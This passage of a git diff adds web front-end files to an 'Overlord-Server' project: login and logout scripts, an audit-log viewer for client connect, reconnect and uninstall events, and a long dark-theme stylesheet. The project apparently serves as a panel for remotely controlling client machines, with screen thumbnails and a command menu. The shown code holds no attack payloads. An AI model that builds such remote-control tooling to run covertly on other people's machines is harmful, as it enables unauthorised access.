loginBtn.addEventListener("mouseleave", () => { + startParticles(particleInterval); + }); + } + + document.querySelectorAll(".input-animated input").forEach((input) => { + input.addEventListener("focus", (e) => { + anime({ + targets: e.target.parentElement, + scale: [1, 1.02], + duration: 200, + easing: "easeOutQuad", + }); + }); + + input.addEventListener("blur", (e) => { + anime({ + targets: e.target.parentElement, + scale: [1.02, 1], + duration: 200, + easing: "easeOutQuad", + }); + }); + }); +} + +form?.addEventListener("submit", async (e) => { + e.preventDefault(); + errEl.textContent = ""; + + const submitBtn = e.target.querySelector('button[type="submit"]'); + if (typeof anime !== "undefined" && submitBtn) { + anime({ + targets: submitBtn, + scale: [1, 0.95, 1], + duration: 300, + easing: "easeInOutQuad", + }); + } + + try { + const res = await fetch("/api/login", { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ user: user.value, pass: pass.value }), + }); + + if (!res.ok) { + const data = await res.json(); + throw new Error(data.error || "Invalid credentials"); + } + + const data = await res.json(); + + if (data.user && data.user.mustChangePassword) { + sessionStorage.setItem("temp_token", data.token); + sessionStorage.setItem("temp_user", JSON.stringify(data.user)); + + window.location.href = "/change-password.html"; + } else { + window.location.href = "/"; + } + } catch (err) { + errEl.textContent = err.message || "Login failed"; + + if (typeof anime !== "undefined") { + anime({ + targets: ".login-card", + translateX: [ + { value: -10, duration: 100 }, + { value: 10, duration: 100 }, + { value: -10, duration: 100 }, + { value: 10, duration: 100 }, + { value: 0, duration: 100 }, + ], + easing: "easeInOutQuad", + }); + + anime({ + targets: "#error", + opacity: [0, 1], + translateY: [-5, 0], + duration: 300, + easing: "easeOutQuad", + }); + } + } +}); diff --git a/Overlord-Server/public/assets/logout.js b/Overlord-Server/public/assets/logout.js new file mode 100644 index 0000000..8cfd9c9 --- /dev/null +++ b/Overlord-Server/public/assets/logout.js @@ -0,0 +1,19 @@ +window.handleLogout = async function () { + if (!confirm("Are you sure you want to logout?")) return; + + try { + const res = await fetch("/api/logout", { + method: "POST", + headers: { "Content-Type": "application/json" }, + }); + + if (res.ok) { + window.location.href = "/"; + } else { + alert("Logout failed. Please try again."); + } + } catch (err) { + console.error("Logout error:", err); + alert("Logout failed. Please try again."); + } +}; diff --git a/Overlord-Server/public/assets/logs.js b/Overlord-Server/public/assets/logs.js new file mode 100644 index 0000000..fc0e36c --- /dev/null +++ b/Overlord-Server/public/assets/logs.js @@ -0,0 +1,201 @@ +const logsContainer = document.getElementById("logs-container"); +const logsEmpty = document.getElementById("logs-empty"); +const lastUpdate = document.getElementById("last-update"); +const clientFilter = document.getElementById("client-filter"); +const startDateInput = document.getElementById("start-date"); +const endDateInput = document.getElementById("end-date"); +const refreshBtn = document.getElementById("refresh-btn"); +const prevPageBtn = document.getElementById("prev-page"); +const nextPageBtn = document.getElementById("next-page"); +const pageInfo = document.getElementById("page-info"); + +const actionLabels = { + client_first_connect: { + label: "First Connect", + className: "bg-emerald-900/40 text-emerald-200 border border-emerald-800", + icon: "fa-plug-circle-bolt", + }, + client_reconnect: { + label: "Reconnect", + className: "bg-blue-900/40 text-blue-200 border border-blue-800", + icon: "fa-rotate", + }, + client_disconnect: { + label: "Disconnect", + className: "bg-orange-900/40 text-orange-200 border border-orange-800", + icon: "fa-plug-circle-xmark", + }, + uninstall: { + label: "Uninstall", + className: "bg-rose-900/40 text-rose-200 border border-rose-800", + icon: "fa-trash", + }, +}; + +let page = 1; +const pageSize = 50; +let total = 0; + +function formatTimestamp(ts) { + if (!ts) return "-"; + const date = new Date(ts); + return `${date.toLocaleDateString()} ${date.toLocaleTimeString()}`; +} + +function escapeHtml(text) { + const div = document.createElement("div"); + div.textContent = text || ""; + return div.innerHTML; +} + +function parseDetails(details) { + if (!details) return ""; + try { + const parsed = JSON.parse(details); + return escapeHtml(JSON.stringify(parsed)); + } catch { + return escapeHtml(details); + } +} + +function getSelectedActions() { + return Array.from(document.querySelectorAll(".action-checkbox")) + .filter((el) => el.checked) + .map((el) => el.value); +} + +function buildQuery() { + const params = new URLSearchParams(); + params.set("page", String(page)); + params.set("pageSize", String(pageSize)); + + const actions = getSelectedActions(); + if (actions.length > 0) { + params.set("actions", actions.join(",")); + } + + const clientId = clientFilter?.value?.trim(); + if (clientId) { + params.set("clientId", clientId); + } + + if (startDateInput?.value) { + const ts = new Date(startDateInput.value).getTime(); + if (!Number.isNaN(ts)) params.set("startDate", String(ts)); + } + + if (endDateInput?.value) { + const ts = new Date(endDateInput.value).getTime(); + if (!Number.isNaN(ts)) params.set("endDate", String(ts)); + } + + return params; +} + +function renderLogs(logs) { + if (!logsContainer || !logsEmpty) return; + + logsContainer.innerHTML = ""; + if (!logs || logs.length === 0) { + logsEmpty.classList.remove("hidden"); + return; + } + logsEmpty.classList.add("hidden"); + + logsContainer.innerHTML = logs + .map((log) => { + const meta = actionLabels[log.action] || { + label: log.action, + className: "bg-slate-800/60 text-slate-200 border border-slate-700", + icon: "fa-circle-info", + }; + const clientId = log.targetClientId || "-"; + const shortId = clientId.length > 8 ? `${clientId.slice(0, 8)}...` : clientId; + const detailText = parseDetails(log.details); + + return ` +
+
+
+ + + ${meta.label} + + + Client: ${escapeHtml(shortId)} + +
+
${formatTimestamp(log.timestamp)}
+
+
+ IP: ${escapeHtml(log.ip || "-")} + User: ${escapeHtml(log.username || "-")} +
+ ${detailText ? `
Details: ${detailText}
` : ""} +
+ `; + }) + .join(""); +} + +async function loadLogs() { + try { + const params = buildQuery(); + const res = await fetch(`/api/audit-logs?${params.toString()}`); + if (!res.ok) { + throw new Error("Failed to load logs"); + } + const data = await res.json(); + total = data.total || 0; + renderLogs(data.logs || []); + + const totalPages = Math.max(1, Math.ceil(total / pageSize)); + if (pageInfo) pageInfo.textContent = `Page ${page} of ${totalPages}`; + + if (prevPageBtn) prevPageBtn.disabled = page <= 1; + if (nextPageBtn) nextPageBtn.disabled = page >= totalPages; + + if (lastUpdate) lastUpdate.textContent = new Date().toLocaleTimeString(); + } catch (err) { + console.error("Failed to load logs", err); + if (logsContainer) { + logsContainer.innerHTML = ` +
Failed to load logs. Please try again.
+ `; + } + } +} + +function resetAndLoad() { + page = 1; + loadLogs(); +} + +let debounceTimer = null; +function debounceLoad() { + if (debounceTimer) window.clearTimeout(debounceTimer); + debounceTimer = window.setTimeout(() => resetAndLoad(), 300); +} + +clientFilter?.addEventListener("input", debounceLoad); +startDateInput?.addEventListener("change", resetAndLoad); +endDateInput?.addEventListener("change", resetAndLoad); +refreshBtn?.addEventListener("click", resetAndLoad); + +Array.from(document.querySelectorAll(".action-checkbox")).forEach((cb) => { + cb.addEventListener("change", resetAndLoad); +}); + +prevPageBtn?.addEventListener("click", () => { + if (page > 1) { + page -= 1; + loadLogs(); + } +}); + +nextPageBtn?.addEventListener("click", () => { + page += 1; + loadLogs(); +}); + +loadLogs(); diff --git a/Overlord-Server/public/assets/main.css b/Overlord-Server/public/assets/main.css new file mode 100644 index 0000000..92a7cef --- /dev/null +++ b/Overlord-Server/public/assets/main.css @@ -0,0 +1,1883 @@ +:root { + color-scheme: dark; + font-family: + "Inter", + "Segoe UI", + system-ui, + -apple-system, + sans-serif; + background: #04070d; + color: #e8edf2; + + /* Design tokens */ + --radius-lg: 14px; + --radius-md: 10px; + --radius-sm: 8px; + --radius-full: 999px; + + --text-xs: 0.75rem; + --text-sm: 0.8125rem; + --text-base: 0.875rem; + --text-lg: 1rem; + --text-xl: 1.25rem; + --text-2xl: 1.5rem; + --text-3xl: 1.75rem; + + --color-text: #e8edf2; + --color-text-muted: #9db1cc; + --color-text-bright: #f8fbff; + --color-surface: rgba(40, 55, 90, 0.3); + --color-surface-dark: rgba(20, 26, 40, 0.7); + --color-border: rgba(255, 255, 255, 0.08); + --color-primary: #6366f1; + --color-primary-hover: #818cf8; + --color-success: #22c55e; + --color-danger: #ef4444; +} + +:root:not(.app-ready) #app-loader { + opacity: 1; + visibility: visible; +} + +:root.app-ready #app-loader { + opacity: 0; + visibility: hidden; +} + +#app-loader { + position: fixed; + inset: 0; + z-index: 9999; + display: grid; + place-items: center; + background: rgba(2, 6, 23, 0.92); + backdrop-filter: blur(8px); + transition: opacity 420ms ease, visibility 420ms ease; +} + +.app-loader-bg { + position: absolute; + inset: 0; + background: + radial-gradient(60% 50% at 20% 20%, rgba(56, 189, 248, 0.22), transparent 70%), + radial-gradient(50% 45% at 80% 10%, rgba(99, 102, 241, 0.2), transparent 72%), + radial-gradient(65% 55% at 50% 100%, rgba(16, 185, 129, 0.12), transparent 75%); + animation: loaderBgPulse 5.2s ease-in-out infinite alternate; +} + +.app-loader-core { + position: relative; + width: min(440px, 88vw); + padding: 34px 24px 24px; + border-radius: 18px; + border: 1px solid rgba(99, 102, 241, 0.3); + background: + linear-gradient(150deg, rgba(15, 23, 42, 0.92), rgba(10, 15, 30, 0.96)); + box-shadow: + 0 20px 46px rgba(0, 0, 0, 0.5), + 0 0 0 1px rgba(129, 140, 248, 0.1); + display: grid; + justify-items: center; + gap: 8px; + overflow: hidden; +} + +.app-loader-core::before { + content: ""; + position: absolute; + inset: 0; + background: linear-gradient( + 110deg, + transparent 20%, + rgba(129, 140, 248, 0.14) 50%, + transparent 80% + ); + transform: translateX(-120%); + animation: loaderSweep 2.6s linear infinite; + pointer-events: none; +} + +.loader-rings { + position: relative; + width: 86px; + height: 86px; + margin-bottom: 4px; +} + +.loader-ring { + position: absolute; + inset: 0; + border-radius: 999px; + border: 2px solid transparent; +} + +.ring-a { + border-top-color: rgba(56, 189, 248, 0.95); + border-right-color: rgba(99, 102, 241, 0.65); + animation: loaderSpin 1.1s linear infinite; +} + +.ring-b { + inset: 8px; + border-left-color: rgba(34, 197, 94, 0.9); + border-bottom-color: rgba(56, 189, 248, 0.6); + animation: loaderSpinReverse 1.6s linear infinite; +} + +.ring-c { + inset: 18px; + border-top-color: rgba(186, 230, 253, 0.95); + border-right-color: rgba(129, 140, 248, 0.7); + animation: loaderSpin 0.9s linear infinite; +} + +.loader-brand { + font-size: 0.85rem; + text-transform: uppercase; + letter-spacing: 0.22em; + color: rgba(148, 163, 184, 0.95); +} + +.loader-title { + font-size: 1.45rem; + font-weight: 700; + letter-spacing: 0.01em; + color: #e2e8f0; + text-shadow: 0 0 18px rgba(99, 102, 241, 0.25); +} + +.loader-percent { + font-size: 2rem; + font-weight: 700; + font-variant-numeric: tabular-nums; + color: #c7d2fe; + margin-top: 2px; +} + +.loader-track { + width: min(340px, 76vw); + height: 10px; + border-radius: 999px; + background: rgba(30, 41, 59, 0.9); + border: 1px solid rgba(99, 102, 241, 0.22); + overflow: hidden; + margin-top: 8px; +} + +.loader-bar { + width: 0; + height: 100%; + border-radius: inherit; + background: linear-gradient( + 90deg, + rgba(56, 189, 248, 0.9), + rgba(99, 102, 241, 0.95), + rgba(34, 197, 94, 0.88) + ); + box-shadow: 0 0 14px rgba(56, 189, 248, 0.38); + transition: width 120ms ease-out; +} + +@keyframes loaderSpin { + to { + transform: rotate(360deg); + } +} + +@keyframes loaderSpinReverse { + to { + transform: rotate(-360deg); + } +} + +@keyframes loaderBgPulse { + 0% { + filter: saturate(0.95) brightness(0.95); + } + 100% { + filter: saturate(1.1) brightness(1.06); + } +} + +@keyframes loaderSweep { + to { + transform: translateX(120%); + } +} + +* { + box-sizing: border-box; +} +body { + margin: 0; + min-height: 100vh; + background: + radial-gradient(120% 120% at 20% 20%, #102040 0%, transparent 45%), + radial-gradient(110% 110% at 80% 0%, #112233 0%, transparent 50%), #05070f; + background-attachment: fixed; +} + +a { + color: inherit; + text-decoration: none; +} + +.topbar { + position: sticky; + top: 0; + z-index: 10; + display: flex; + align-items: center; + justify-content: space-between; + gap: 10px; + padding: 14px 20px; + background: rgba(10, 15, 25, 0.9); + border-bottom: 1px solid var(--color-border); + backdrop-filter: blur(12px); +} +.brand { + font-weight: 700; + letter-spacing: 0.5px; + display: flex; + gap: 8px; + align-items: center; +} +.nav { + display: flex; + gap: 12px; + flex-wrap: wrap; +} +.nav a { + padding: 7px 12px; + border-radius: var(--radius-md); + color: #c5ced8; + display: inline-flex; + gap: 8px; + align-items: center; +} +.nav a.active, +.nav a:hover { + background: rgba(255, 255, 255, 0.08); + color: #fff; +} +.user-pill { + padding: 7px 12px; + border-radius: var(--radius-full); + background: rgba(255, 255, 255, 0.08); + display: inline-flex; + gap: 8px; + align-items: center; + color: #dfe7f2; +} +.login-body { + display: grid; + place-items: center; + min-height: 100vh; + background: #05070f; + position: relative; + overflow: hidden; +} + +.login-body::before { + content: ""; + position: absolute; + inset: -20%; + background: + radial-gradient( + 40% 40% at 20% 20%, + rgba(99, 230, 226, 0.28), + transparent 55% + ), + radial-gradient( + 35% 35% at 80% 30%, + rgba(111, 179, 255, 0.25), + transparent 55% + ), + linear-gradient(120deg, rgba(56, 189, 248, 0.18), rgba(59, 130, 246, 0.08)); + filter: blur(40px); + animation: gradientShift 18s ease-in-out infinite alternate; + opacity: 0.9; + pointer-events: none; +} + +/* .container removed — collided with Tailwind's container utility */ +.section-header { + display: flex; + align-items: center; + justify-content: space-between; + gap: 12px; + flex-wrap: wrap; +} +h1 { + margin: 0 0 6px 0; + font-size: 26px; +} +p { + margin: 0; +} +.muted { + color: var(--color-text-muted); +} +.pill { + display: inline-flex; + align-items: center; + gap: 6px; + font-size: var(--text-xs); + padding: 6px 10px; + border-radius: var(--radius-full); + border: 1px solid var(--color-border); + background: rgba(255, 255, 255, 0.04); + color: #dfe7f2; +} +.pill i { + font-size: 12px; +} +.pill-online { + background: rgba(16, 185, 129, 0.16); + color: #bbf7d0; + border-color: rgba(16, 185, 129, 0.3); +} +.pill-ghost { + background: rgba(255, 255, 255, 0.04); + color: #cbd5e1; +} +.pill-unknown { + background: rgba(148, 163, 184, 0.16); + color: #e2e8f0; + border-color: rgba(148, 163, 184, 0.32); +} +.pill-win { + background: linear-gradient( + 135deg, + rgba(59, 130, 246, 0.18), + rgba(14, 165, 233, 0.14) + ); + color: #bfdbfe; + border-color: rgba(59, 130, 246, 0.35); +} +.pill-mac { + background: rgba(209, 213, 219, 0.12); + color: #f8fafc; + border-color: rgba(209, 213, 219, 0.22); +} +.pill-ubuntu { + background: rgba(249, 115, 22, 0.16); + color: #fed7aa; + border-color: rgba(249, 115, 22, 0.3); +} +.pill-debian { + background: rgba(236, 72, 153, 0.16); + color: #fbcfe8; + border-color: rgba(236, 72, 153, 0.32); +} +.pill-arch { + background: rgba(34, 211, 238, 0.16); + color: #a5f3fc; + border-color: rgba(34, 211, 238, 0.32); +} +.pill-fedora { + background: rgba(59, 130, 246, 0.16); + color: #c7d2fe; + border-color: rgba(59, 130, 246, 0.32); +} +.pill-linux { + background: rgba(16, 185, 129, 0.14); + color: #bbf7d0; + border-color: rgba(16, 185, 129, 0.28); +} +.pill-x64 { + background: rgba(94, 234, 212, 0.14); + color: #ccfbf1; + border-color: rgba(94, 234, 212, 0.24); +} +.pill-arm { + background: rgba(14, 165, 233, 0.14); + color: #bae6fd; + border-color: rgba(14, 165, 233, 0.24); +} +.pill-version { + background: rgba(244, 114, 182, 0.16); + color: #fbcfe8; + border-color: rgba(244, 114, 182, 0.28); +} + +/* .grid removed — was colliding with Tailwind's grid utility (display: grid) */ +.card { + background: linear-gradient( + 145deg, + var(--color-surface), + var(--color-surface-dark) + ); + border: 1px solid var(--color-border); + border-radius: var(--radius-lg); + padding: 12px 14px; + box-shadow: 0 12px 32px rgba(0, 0, 0, 0.35); +} +.card.card-offline { + background: linear-gradient( + 145deg, + rgba(10, 14, 24, 0.7), + rgba(4, 6, 12, 0.9) + ); + border-color: rgba(71, 85, 105, 0.5); + filter: saturate(0.55); + opacity: 0.85; +} +.pill-offline { + background: rgba(51, 65, 85, 0.3); + color: #94a3b8; + border-color: rgba(71, 85, 105, 0.55); +} +.card::before { + content: ""; + position: absolute; + inset: 0; + z-index: 0; + pointer-events: none; + background: var( + --card-accent, + radial-gradient( + circle at 20% 20%, + rgba(99, 102, 241, 0.08), + transparent 45% + ) + ); + opacity: 1; +} +.card > * { + position: relative; + z-index: 1; +} +.tone-pill-ubuntu { + --card-accent: + radial-gradient( + circle at 20% 20%, + rgba(249, 115, 22, 0.12), + transparent 45% + ), + radial-gradient(circle at 80% 0%, rgba(249, 115, 22, 0.08), transparent 55%); +} +.tone-pill-debian { + --card-accent: + radial-gradient( + circle at 20% 20%, + rgba(236, 72, 153, 0.14), + transparent 45% + ), + radial-gradient(circle at 80% 0%, rgba(236, 72, 153, 0.08), transparent 55%); +} +.tone-pill-kali { + --card-accent: + radial-gradient( + circle at 20% 20%, + rgba(14, 165, 233, 0.16), + transparent 45% + ), + radial-gradient(circle at 80% 0%, rgba(14, 165, 233, 0.08), transparent 55%); +} +.tone-pill-fedora { + --card-accent: + radial-gradient( + circle at 20% 20%, + rgba(59, 130, 246, 0.16), + transparent 45% + ), + radial-gradient(circle at 80% 0%, rgba(59, 130, 246, 0.08), transparent 55%); +} +.tone-pill-linux { + --card-accent: + radial-gradient( + circle at 20% 20%, + rgba(16, 185, 129, 0.14), + transparent 45% + ), + radial-gradient(circle at 80% 0%, rgba(16, 185, 129, 0.08), transparent 55%); +} +.tone-pill-win { + --card-accent: + radial-gradient( + circle at 20% 20%, + rgba(59, 130, 246, 0.18), + transparent 45% + ), + radial-gradient(circle at 80% 0%, rgba(14, 165, 233, 0.12), transparent 55%); +} +.tone-pill-mac { + --card-accent: + radial-gradient( + circle at 20% 20%, + rgba(226, 232, 240, 0.16), + transparent 45% + ), + radial-gradient(circle at 80% 0%, rgba(148, 163, 184, 0.1), transparent 55%); +} +.tone-pill-unknown { + --card-accent: + radial-gradient( + circle at 20% 20%, + rgba(148, 163, 184, 0.12), + transparent 45% + ), + radial-gradient( + circle at 80% 0%, + rgba(148, 163, 184, 0.06), + transparent 55% + ); +} +.client-card { + padding: 14px; +} +.client-row { + display: flex; + align-items: center; + gap: 14px; + flex-wrap: wrap; +} +.thumb-wrap { + flex: 0 0 auto; +} + +@keyframes gradientShift { + 0% { + transform: translate3d(-4%, -2%, 0) scale(1); + } + 50% { + transform: translate3d(3%, 4%, 0) scale(1.05); + } + 100% { + transform: translate3d(-2%, 6%, 0) scale(1.02); + } +} +.thumb-lg { + width: 150px; + height: 96px; + object-fit: cover; + border-radius: 12px; + border: 1px solid rgba(255, 255, 255, 0.12); + background: rgba(255, 255, 255, 0.04); + display: grid; + place-items: center; + color: #8aa2c5; + font-size: 20px; +} +.thumb-lg.placeholder { + border-style: dashed; +} +.client-main { + flex: 1 1 260px; + display: flex; + flex-direction: column; + gap: 8px; +} +.title-row { + display: flex; + align-items: center; + gap: 10px; + flex-wrap: wrap; + font-weight: 700; +} +.flag { + font-size: 22px; +} +.client-name { + font-size: 16px; +} +.meta-row { + display: flex; + align-items: center; + gap: 8px; + flex-wrap: wrap; + color: #9db1cc; + font-size: 13px; +} +.chip { + padding: 4px 8px; + border-radius: var(--radius-full); + background: rgba(255, 255, 255, 0.06); + color: #d7e5ff; + font-size: var(--text-xs); + display: inline-flex; + gap: 6px; + align-items: center; +} +.ping { + font-variant-numeric: tabular-nums; + color: #9cf099; + display: inline-flex; + align-items: center; + gap: 6px; +} +.right-rail { + display: flex; + align-items: center; + gap: 10px; +} +.empty-state { + text-align: center; + padding: 18px; + color: #9db1cc; +} + +.context-menu { + position: fixed; + z-index: 50; + padding: 8px; + display: flex; + flex-direction: column; + gap: 6px; + width: 180px; +} +.context-menu button { + width: 100%; + text-align: left; + padding: 8px 10px; + border: 1px solid var(--color-border); + background: rgba(255, 255, 255, 0.05); + color: var(--color-text); + border-radius: var(--radius-md); + cursor: pointer; + display: inline-flex; + gap: 8px; + align-items: center; +} +.context-menu button:hover { + background: rgba(255, 255, 255, 0.12); +} +.context-menu button.danger { + color: #ffb4b4; + border-color: rgba(255, 99, 99, 0.2); +} + +.pagination { + display: flex; + align-items: center; + justify-content: center; + gap: 12px; + padding: 12px 0 28px 0; +} +.button { + padding: 9px 14px; + border-radius: var(--radius-lg); + border: 1px solid rgba(255, 255, 255, 0.14); + color: var(--color-text); + background: rgba(255, 255, 255, 0.06); + cursor: pointer; + display: inline-flex; + gap: 8px; + align-items: center; +} +.button:disabled { + opacity: 0.4; + cursor: not-allowed; +} +.button.ghost { + background: rgba(255, 255, 255, 0.04); + border-color: rgba(255, 255, 255, 0.12); +} + +@media (max-width: 720px) { + .topbar { + flex-wrap: wrap; + gap: 10px; + } + .nav { + width: 100%; + justify-content: flex-start; + flex-wrap: wrap; + } + .page { + padding: 16px 14px; + } + .right-rail { + width: 100%; + justify-content: flex-start; + } + .thumb-lg { + width: 120px; + height: 80px; + } + + #command-menu { + max-width: calc(100vw - 20px); + max-height: calc(100vh - 20px); + overflow-y: auto; + font-size: 14px; + } + + #command-menu button { + padding: 10px 12px; + font-size: 14px; + } + + #command-menu i { + font-size: 14px; + } +} + +@media (min-width: 1800px) { + #clients-shell { + max-width: min(1800px, 92vw) !important; + } + + #clients-shell h1 { + font-size: 2rem; + } + + #clients-shell #grid { + gap: 1rem; + } + + #clients-shell #grid article.card { + padding: 1.15rem 1.35rem; + } + + #clients-shell #grid .thumb-img { + width: 12rem; + height: 7.25rem; + } + + #clients-shell #grid .text-2xl { + font-size: 1.7rem; + line-height: 1; + } + + #clients-shell #grid .text-lg { + font-size: 1.2rem; + } + + #clients-shell #grid .text-sm { + font-size: 0.95rem; + } + + #clients-shell #grid .text-xs { + font-size: 0.82rem; + } + + #clients-shell #grid .pill { + padding: 0.35rem 0.65rem; + } + + #clients-shell #grid .command-btn, + #clients-shell #grid .ban-btn { + padding: 0.7rem 0.95rem; + } +} +.login-body { + display: grid; + place-items: center; + min-height: 100vh; + background: + radial-gradient(120% 120% at 20% 20%, #102040 0%, transparent 45%), + radial-gradient(110% 110% at 80% 0%, #112233 0%, transparent 50%), #05070f; + position: relative; + overflow: hidden; +} + +.login-particles { + position: absolute; + inset: 0; + pointer-events: none; + overflow: hidden; +} + +.particle { + position: absolute; + width: 4px; + height: 4px; + background: radial-gradient(circle, rgba(92, 145, 255, 0.8), transparent); + border-radius: 50%; + opacity: 0; +} + +.particle:nth-child(1) { + top: 20%; + left: 15%; +} +.particle:nth-child(2) { + top: 60%; + left: 80%; +} +.particle:nth-child(3) { + top: 40%; + left: 50%; +} +.particle:nth-child(4) { + top: 75%; + left: 25%; +} +.particle:nth-child(5) { + top: 15%; + left: 70%; +} + +.login-card { + width: min(420px, 90vw); + background: linear-gradient( + 145deg, + rgba(40, 55, 90, 0.4), + rgba(20, 26, 40, 0.85) + ); + border: 1px solid rgba(255, 255, 255, 0.12); + border-radius: var(--radius-lg); + padding: 40px 32px; + box-shadow: + 0 20px 60px rgba(0, 0, 0, 0.5), + 0 0 100px rgba(92, 145, 255, 0.1); + position: relative; + opacity: 0; +} + +.login-card::before { + content: ""; + position: absolute; + inset: 0; + border-radius: var(--radius-lg); + padding: 1px; + background: linear-gradient(145deg, rgba(92, 145, 255, 0.3), transparent); + -webkit-mask: + linear-gradient(#fff 0 0) content-box, + linear-gradient(#fff 0 0); + -webkit-mask-composite: xor; + mask-composite: exclude; + pointer-events: none; +} + +.login-crown-wrapper { + display: flex; + justify-content: center; + margin-bottom: 20px; +} + +.login-crown { + font-size: 48px; + color: #7a5bff; + filter: drop-shadow(0 4px 12px rgba(122, 91, 255, 0.5)); +} + +.login-brand { + text-align: center; + font-size: 28px; + font-weight: 700; + letter-spacing: 1px; + margin-bottom: 12px; + background: linear-gradient(135deg, #7a5bff, #5672ff); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; + background-clip: text; + opacity: 0; + display: block; + width: 100%; +} + +.login-title { + text-align: center; + font-size: 24px; + font-weight: 600; + margin: 0 0 8px 0; + opacity: 0; +} + +.login-subtitle { + text-align: center; + margin-bottom: 28px; + opacity: 0; +} + +.form-group { + margin-bottom: 20px; + opacity: 0; +} + +.modal { + align-items: center; + justify-content: center; +} + +.modal img { + margin: 0 auto; + object-fit: contain; +} + +.label { + display: block; + margin: 12px 0 6px 0; + color: #cfe0ff; + font-size: 14px; +} + +.input-row { + display: flex; + align-items: center; + gap: 12px; + padding: 13px 16px; + border-radius: var(--radius-lg); + border: 1px solid rgba(255, 255, 255, 0.12); + background: rgba(255, 255, 255, 0.05); + transition: all 0.3s ease; +} + +.input-row:focus-within { + border-color: rgba(92, 145, 255, 0.5); + background: rgba(255, 255, 255, 0.08); + box-shadow: 0 0 0 3px rgba(92, 145, 255, 0.1); +} + +.input-row i { + color: #7a8cb5; + font-size: 16px; +} + +.input-row:focus-within i { + color: #7a5bff; +} + +.input-row input { + flex: 1; + background: transparent; + border: none; + color: #e8edf2; + font-size: 15px; + outline: none; +} + +.input-row input::placeholder { + color: #6b7a98; +} + +.button.primary { + background: linear-gradient(120deg, #4f6bff, #715dff); + border-color: rgba(129, 140, 248, 0.55); + box-shadow: 0 4px 16px rgba(99, 102, 241, 0.3); + transition: all 0.3s ease; + position: relative; + overflow: hidden; +} + +.button.primary:hover { + transform: translateY(-2px); + box-shadow: 0 6px 24px rgba(122, 91, 255, 0.4); +} + +.button.primary:active { + transform: translateY(0); +} + +.button.full { + width: 100%; + justify-content: center; +} + +@keyframes radioactiveShake { + 0%, + 100% { + transform: translate(0, 0); + } + 25% { + transform: translate(-0.5px, 0.5px); + } + 50% { + transform: translate(0.5px, -0.5px); + } + 75% { + transform: translate(-0.5px, -0.5px); + } +} + +@keyframes crownBounce { + 0%, + 100% { + transform: translateY(0); + } + 50% { + transform: translateY(-4px); + } +} + +@keyframes statusPulse { + 0%, + 100% { + opacity: 1; + box-shadow: 0 0 0 0 rgba(34, 197, 94, 0.7); + } + 50% { + opacity: 0.9; + box-shadow: 0 0 0 6px rgba(34, 197, 94, 0); + } +} + +.status-online { + animation: statusPulse 2s ease-in-out infinite; +} + +@keyframes radioactiveShakeIntense { + 0%, + 100% { + transform: translate(0, 0); + } + 10% { + transform: translate(-2px, 2px); + } + 20% { + transform: translate(2px, -2px); + } + 30% { + transform: translate(-2px, -2px); + } + 40% { + transform: translate(2px, 2px); + } + 50% { + transform: translate(-2px, 0); + } + 60% { + transform: translate(2px, 0); + } + 70% { + transform: translate(0, -2px); + } + 80% { + transform: translate(0, 2px); + } + 90% { + transform: translate(-2px, 2px); + } +} + +.login-btn { + margin-top: 8px; + padding: 14px 20px; + font-size: 16px; + font-weight: 600; + opacity: 0; + position: relative; + overflow: visible; + animation: none; +} + +.login-btn:hover { + animation: none; + transform: translateY(-1px); +} + +.header-crown { + background: linear-gradient(135deg, #a78bfa, #c084fc); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; + background-clip: text; + display: inline-block; + animation: crownBounce 2s ease-in-out infinite; +} + +@keyframes cardSlideIn { + from { + opacity: 0; + transform: translateY(20px) scale(0.95); + } + to { + opacity: 1; + transform: translateY(0) scale(1); + } +} + +.card-animate { + animation: cardSlideIn 0.4s ease-out forwards; + opacity: 0; +} + +.ripple { + position: relative; + overflow: hidden; +} + +.ripple::after { + content: ""; + position: absolute; + border-radius: 50%; + background: rgba(255, 255, 255, 0.5); + width: 100px; + height: 100px; + margin-top: -50px; + margin-left: -50px; + top: var(--y, 50%); + left: var(--x, 50%); + pointer-events: none; + transform: scale(0); + opacity: 0; +} + +.ripple.ripple-active::after { + animation: ripple-effect 0.6s ease-out; +} + +@keyframes ripple-effect { + 0% { + transform: scale(0); + opacity: 1; + } + 100% { + transform: scale(4); + opacity: 0; + } +} + +.toast-container { + position: fixed; + top: 80px; + right: 20px; + z-index: 9999; + display: flex; + flex-direction: column; + gap: 12px; + pointer-events: none; +} + +.toast { + background: linear-gradient( + 135deg, + rgba(30, 41, 59, 0.98), + rgba(15, 23, 42, 0.98) + ); + border: 1px solid rgba(100, 116, 139, 0.3); + border-radius: var(--radius-lg); + padding: 16px 20px; + min-width: 320px; + max-width: 420px; + box-shadow: + 0 10px 40px rgba(0, 0, 0, 0.5), + 0 0 0 1px rgba(255, 255, 255, 0.05); + pointer-events: auto; + animation: toastSlideIn 0.3s ease-out; + backdrop-filter: blur(12px); +} + +.toast.removing { + animation: toastSlideOut 0.3s ease-in forwards; +} + +@keyframes toastSlideIn { + from { + opacity: 0; + transform: translateX(400px) scale(0.9); + } + to { + opacity: 1; + transform: translateX(0) scale(1); + } +} + +@keyframes toastSlideOut { + from { + opacity: 1; + transform: translateX(0) scale(1); + } + to { + opacity: 0; + transform: translateX(400px) scale(0.9); + } +} + +.toast-header { + display: flex; + align-items: center; + gap: 12px; + margin-bottom: 8px; +} + +.toast-icon { + width: 24px; + height: 24px; + display: flex; + align-items: center; + justify-content: center; + border-radius: 50%; + font-size: 14px; +} + +.toast-success .toast-icon { + background: rgba(34, 197, 94, 0.2); + color: #4ade80; +} + +.toast-error .toast-icon { + background: rgba(239, 68, 68, 0.2); + color: #f87171; +} + +.toast-info .toast-icon { + background: rgba(59, 130, 246, 0.2); + color: #60a5fa; +} + +.toast-warning .toast-icon { + background: rgba(245, 158, 11, 0.2); + color: #fbbf24; +} + +.toast-title { + font-weight: 600; + font-size: 15px; + color: #f1f5f9; + flex: 1; +} + +.toast-close { + background: none; + border: none; + color: #94a3b8; + cursor: pointer; + padding: 4px; + display: flex; + align-items: center; + justify-content: center; + border-radius: 4px; + transition: all 0.2s; +} + +.toast-close:hover { + background: rgba(100, 116, 139, 0.2); + color: #f1f5f9; +} + +.toast-message { + color: #cbd5e1; + font-size: 14px; + line-height: 1.5; + padding-left: 36px; +} + +.page-transition-enter { + animation: pageSlideIn 0.3s ease-out; +} + +@keyframes pageSlideIn { + from { + opacity: 0; + transform: translateX(20px); + } + to { + opacity: 1; + transform: translateX(0); + } +} + +@keyframes countUp { + from { + opacity: 0; + transform: translateY(10px); + } + to { + opacity: 1; + transform: translateY(0); + } 